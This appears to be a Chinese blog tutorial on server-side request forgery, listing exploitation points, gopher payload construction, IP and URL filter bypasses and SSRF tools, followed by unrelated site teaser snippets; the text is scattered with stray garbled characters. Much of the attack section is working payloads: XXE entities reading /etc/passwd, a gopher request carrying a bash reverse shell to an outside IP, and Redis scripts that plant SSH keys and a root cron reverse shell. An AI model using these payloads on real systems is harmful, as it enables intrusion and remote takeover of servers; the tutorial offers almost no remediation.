SSRF漏洞

全稱Server-Side Request Forgery服務(wù)器端請求偽造净响,是一種經(jīng)攻擊者構(gòu)造形成由服務(wù)端發(fā)起請求的一個安全漏洞少欺。
SSRF形成的原因大都是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能且沒有對目標地址做過濾與限制。比如從指定URL地址獲取網(wǎng)頁文本內(nèi)容馋贤,加載指定地址的圖片赞别,下載等等。

可利用的點

節(jié)選自豬豬俠的《build your ssrf framework》

  • XML
    DTD Remote Access
    <!ENTITY % d SYSTEM "http://wuyun.org/evil.dtd">
    XML 外部實體
    <!ENTITY % file system "file:///etc/passwd" >
    <!ENTITY % d SYSTEM "http://wuyun.org/?le?data=%?le">
    URL調(diào)用
    <!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://wuyun.org/urlin">

  • 數(shù)據(jù)庫自帶的訪問網(wǎng)絡(luò)的功能
    MongoDB db.copyDatabase('\r\nconfig set dbfilename wyssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
    Oracle
    select UTL_HTTP.REQUEST('http://'||(select version from v$nstance)||'test.com') from dual
    PostgresSQL
    SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' password=1 port=6379 sslmode=disable', 'select version();');
    MSSQL

    • SELECT openrowset('SQLOLEDB','server=192.168.1.5;uid=sa;pwd=sa;database=master')
    • SELECT * FROM OpenDatasource('SQLOLEDB','Data Source=ServerName;User ID=sa;Password=sa').Northwind.dbo.Categories

    CouchDB

    POST http://couchdb-server:5984/_replicate
    Content-Type: application/json
    Accept: application/json
    
    { "source" : "recipes",
    "target" : "dict://redis.wuyun.org:6379/?ushall",}
  • 應(yīng)用系統(tǒng)中設(shè)置遠程服務(wù)器的功能
  • 文件處理配乓、編碼處理仿滔、屬性信息處理(應(yīng)用系統(tǒng)的自動預(yù)覽功能)
    • FFmpeg concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
    • ImageMagick (mvg) fill 'url(http://wyssrf.wuyun.org)'
    • XML parsers ( XSLT ) XSLT包含了100個內(nèi)置函數(shù)(能訪問網(wǎng)絡(luò)惠毁?)
      document() include() import()
  • python urllib http頭注入,好像是哪個cve崎页?
    利用如下的url http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:ur10ser/test
    服務(wù)器返回
GET /test HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :ur10ser
Connection: close

協(xié)議擴大攻擊面

主要攻擊 redis鞠绰、discuz、fastcgi飒焦、memcache蜈膨、內(nèi)網(wǎng)脆弱應(yīng)用這幾類應(yīng)用,主要利用gopher協(xié)議牺荠,以及file翁巍、dict

  • dict://fuzz.wuyun.org:8080/helo:dict
  • file:///etc/passwd

注意
大部分 PHP 并不會開啟 fopen 的 gopher wrapper
file_get_contents 的 gopher 協(xié)議不能 UrlEncode
file_get_contents 關(guān)于 Gopher 的 302 跳轉(zhuǎn)有 bug志电,導(dǎo)致利用失敗
curl/libcurl 7.43 上 gopher 協(xié)議存在 bug(%00 截斷)曙咽,7.45以上無此bug
curl_exec() 默認不跟蹤跳轉(zhuǎn),
file_get_contents() 支持php://input協(xié)議

java中支持的協(xié)議更為有限挑辆,file ftp mailto http https jar netdoc例朱,比較有用的就file和http協(xié)議了。

構(gòu)造Gopher載荷

gopher可以向任何端口發(fā)送任意形式的請求鱼蝉,構(gòu)造方法與http類似洒嗤。基本結(jié)構(gòu)如下:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP數(shù)據(jù)流
比如http的POST請求魁亦,在gopher中是這樣的
gopher://test.com/_POST /exp.php HTTP/1.1%0d%0aHost: test.com_ip%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

以喜聞樂見的redis為例渔隶。替換成自己的redis IP和端口。
上傳公鑰的腳本

(echo -e "\n\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n\n") > upload.txt
cat ~/upload.txt | redis-cli -h $1 -p $2 -x set tmp
redis-cli -h $1 -p $2 -x config set dir /root/.ssh
redis-cli -h $1 -p $2 -x config set dbfilename authorized_keys
redis-cli -h $1 -p $2 -x get tmp
redis-cli -h $1 -p $2 -x save
redis-cli -h $1 -p $2 -x quit

反彈shell的腳本

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

用socat監(jiān)聽4444端口洁奈,將流量轉(zhuǎn)發(fā)到6379端口间唉,同時會把請求流量記錄到文件
socat -v tcp-listen:4444,fork tcp-connect:192.168.70.128:6379 2>&1|tee socat.log
執(zhí)行腳本 bash shell.sh 127.0.0.1 4444,圖略

為了將流量轉(zhuǎn)化為gopher協(xié)議利术,先了解下socat記錄tcp流的格式:

  • >開頭一行表示客戶端發(fā)送了一個tcp包
  • <開頭一行表示服務(wù)器返回了一個tcp包

基于以上格式呈野,要這么轉(zhuǎn)換

  • 字符串\r替換成%0d%0a
  • 空白行替換為%0a
  • 空格替換成%20
  • 再使用urlencode(給php時會做一次decode,curl再做一次decode)
....
    # 判斷倒數(shù)第2印叁、3字符串是否為\r
    if line[-3:-1] == r'\r':
       # 如果該行只有\(zhòng)r被冒,將\r替換成%0a%0d%0a
       if len(line) == 3:
           exp = exp + '%0a%0d%0a'
       else:
           line = line.replace(r'\r', '%0d%0a')
           # 去掉最后的換行符
           line = line.replace('\n', '')
           exp = exp + line
    # 判斷是否是空行,空行替換為%0a
    elif line == '\x0a':
       exp = exp + '%0a'
    else:
       line = line.replace(' ', '%20')
       line = line.replace('\n', '')
       exp = exp + line
exp=quote(exp)

如果是單次請求如php fastcgi轮蜕,可以考慮用nc -lvvp 9000>1.txt來轉(zhuǎn)儲請求包

繞過

數(shù)字地址繞過

一般來說昨悼,開發(fā)者會使用正則對傳入的URL進行匹配,過濾掉內(nèi)網(wǎng)IP跃洛,比如:
192.168.*.*率触、10.0.*.*等。

^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-
5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

四位點分十進制形式的IP地址127.0.0.1代表一組32位二進制數(shù)碼汇竭,如果合在一起再轉(zhuǎn)換成一個十進制數(shù)的話葱蝗,答案就是1945096731痊剖。
127*256^3+0*256^2+0*256^1+1*256^0=
1929379840+15663104+53760+27=2130706433
比如:百度的IP地址“119.75.218.77”轉(zhuǎn)換成數(shù)字地址就是“2001459789”

可以改變ip的寫法來繞過,各進制可以互相混用

  • 8進制格式:0300.0250.0.1
  • 16進制格式:0xC0.0xA8.0.1
  • 10進制整數(shù)格式:3232235521
  • 16進制整數(shù)格式:0xC0A80001

xip.ionip.io

這是一個神奇的域名垒玲,nslookup 127.127.127.127.xip.io看看

利用URL解析的問題

完整的URL scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

許多URL方案保留某些特殊含義的字符:字符“;”,“/”找颓,“合愈?”,“:”击狮,“@”佛析,“=”和“&”可以保留用于方案內(nèi)的特殊含義。在方案中不能保留其他字符彪蓬。
分號(“;”)和等于(“=”)保留字符通常用于分隔適用于該段的參數(shù)和參數(shù)值寸莫。逗號(“,”)保留字符通常用于類似目的档冬。

http://www.baidu.com@192.168.1.1
http://google.com:80+&@127.88.23.245:22/#+@google.com:80/
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
http://google.com:80+&@google.com:80#+@127.88.23.245:22/
http://127.88.23.245:22/?@google.com:80/
http://127.88.23.245:22/#@www.google.com:80/

其他辦法

  1. URL任意跳轉(zhuǎn) 找到一個子域名或者白名單域名的任意跳轉(zhuǎn)
  2. 重定向
  3. 利用符號膘茎,比如點號換成句號,或者利用Enclosed alphanumerics
  4. Dns Rebinding 自建DNS服務(wù)器酷誓,服務(wù)端第一次進行解析返回的是內(nèi)網(wǎng)ip披坏,繞過驗證之后,真正發(fā)起請求時解析的結(jié)果反而是外網(wǎng)ip盐数。域名的ttl時間要設(shè)置為0

測試工具

https://github.com/swisskyrepo/SSRFmap 整合了常見的內(nèi)網(wǎng)應(yīng)用的攻擊面
https://github.com/iamultra/ssrfsocks 顧名思義棒拂,利用SSRF+Gopher做成一個socks代理
https://github.com/tarunkant/Gopherus 構(gòu)造常見的內(nèi)網(wǎng)應(yīng)用的gopher請求

修復(fù)建議

限制請求的協(xié)議為http或者https?
提取host玫氢,驗證ip是否為內(nèi)網(wǎng)帚屉?
好像并沒有什么好的修復(fù)方法。

參考
https://blog.chaitin.cn/gopher-attack-surfaces/
https://www.cnblogs.com/mrchang/p/6254634.html
https://github.com/cujanovic/SSRF-Testing 有轉(zhuǎn)換ip的腳本
https://anemone.top/ssrf-SSRF%E6%88%90%E5%9B%A0%E3%80%81%E6%94%BB%E5%87%BB%E5%92%8C%E9%98%B2%E5%BE%A1/

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末漾峡,一起剝皮案震驚了整個濱河市攻旦,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌灰殴,老刑警劉巖敬特,帶你破解...
    沈念sama閱讀 221,576評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異牺陶,居然都是意外死亡伟阔,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,515評論 3 399
  • 文/潘曉璐 我一進店門掰伸,熙熙樓的掌柜王于貴愁眉苦臉地迎上來皱炉,“玉大人,你說我怎么就攤上這事狮鸭『辖粒” “怎么了多搀?”我有些...
    開封第一講書人閱讀 168,017評論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長灾部。 經(jīng)常有香客問我康铭,道長,這世上最難降的妖魔是什么赌髓? 我笑而不...
    開封第一講書人閱讀 59,626評論 1 296
  • 正文 為了忘掉前任从藤,我火速辦了婚禮,結(jié)果婚禮上锁蠕,老公的妹妹穿的比我還像新娘夷野。我一直安慰自己,他們只是感情好荣倾,可當(dāng)我...
    茶點故事閱讀 68,625評論 6 397
  • 文/花漫 我一把揭開白布悯搔。 她就那樣靜靜地躺著,像睡著了一般舌仍。 火紅的嫁衣襯著肌膚如雪妒貌。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,255評論 1 308
  • 那天铸豁,我揣著相機與錄音苏揣,去河邊找鬼。 笑死推姻,一個胖子當(dāng)著我的面吹牛平匈,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播藏古,決...
    沈念sama閱讀 40,825評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼增炭,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了拧晕?” 一聲冷哼從身側(cè)響起隙姿,我...
    開封第一講書人閱讀 39,729評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎厂捞,沒想到半個月后输玷,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,271評論 1 320
  • 正文 獨居荒郊野嶺守林人離奇死亡靡馁,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,363評論 3 340
  • 正文 我和宋清朗相戀三年欲鹏,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片臭墨。...
    茶點故事閱讀 40,498評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡赔嚎,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情尤误,我是刑警寧澤侠畔,帶...
    沈念sama閱讀 36,183評論 5 350
  • 正文 年R本政府宣布,位于F島的核電站损晤,受9級特大地震影響软棺,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜尤勋,卻給世界環(huán)境...
    茶點故事閱讀 41,867評論 3 333
  • 文/蒙蒙 一码党、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧斥黑,春花似錦、人聲如沸眉厨。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,338評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽憾股。三九已至鹿蜀,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間服球,已是汗流浹背茴恰。 一陣腳步聲響...
    開封第一講書人閱讀 33,458評論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留斩熊,地道東北人往枣。 一個月前我還...
    沈念sama閱讀 48,906評論 3 376
  • 正文 我出身青樓,卻偏偏與公主長得像粉渠,于是被迫代替她去往敵國和親分冈。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,507評論 2 359

推薦閱讀更多精彩內(nèi)容

  • 一霸株、weblogic ssrf攻擊redis Weblogic中存在一個SSRF漏洞雕沉,利用該漏洞可以發(fā)送任意HTT...
    Instu閱讀 3,694評論 2 0
  • 米斯特白帽培訓(xùn)講義 漏洞篇 SSRF 講師:gh0stkey 整理:飛龍 協(xié)議:CC BY-NC-SA 4.0 很...
    布客飛龍閱讀 1,539評論 0 9
  • 什么是 SSRF ? 簡介:SSRF(Server-Side Request Forgery)服務(wù)端請求偽造去件,是一...
    雞翅兒閱讀 2,578評論 0 1
  • 0x00原理 一般的請求:客戶端發(fā)起請求坡椒,服務(wù)器響應(yīng)。 另外一種請求:客戶端發(fā)起請求(向服務(wù)端提供一個URL)尤溜,服...
    0x525c閱讀 2,506評論 0 1
  • 什么是csrf csrf通尘蟮穑縮寫為CSRF或者XSRF,是一種對網(wǎng)站的惡意利用宫莱。盡管聽起來像跨站腳本(XSS)缀雳,但...
    青山i閱讀 3,488評論 0 4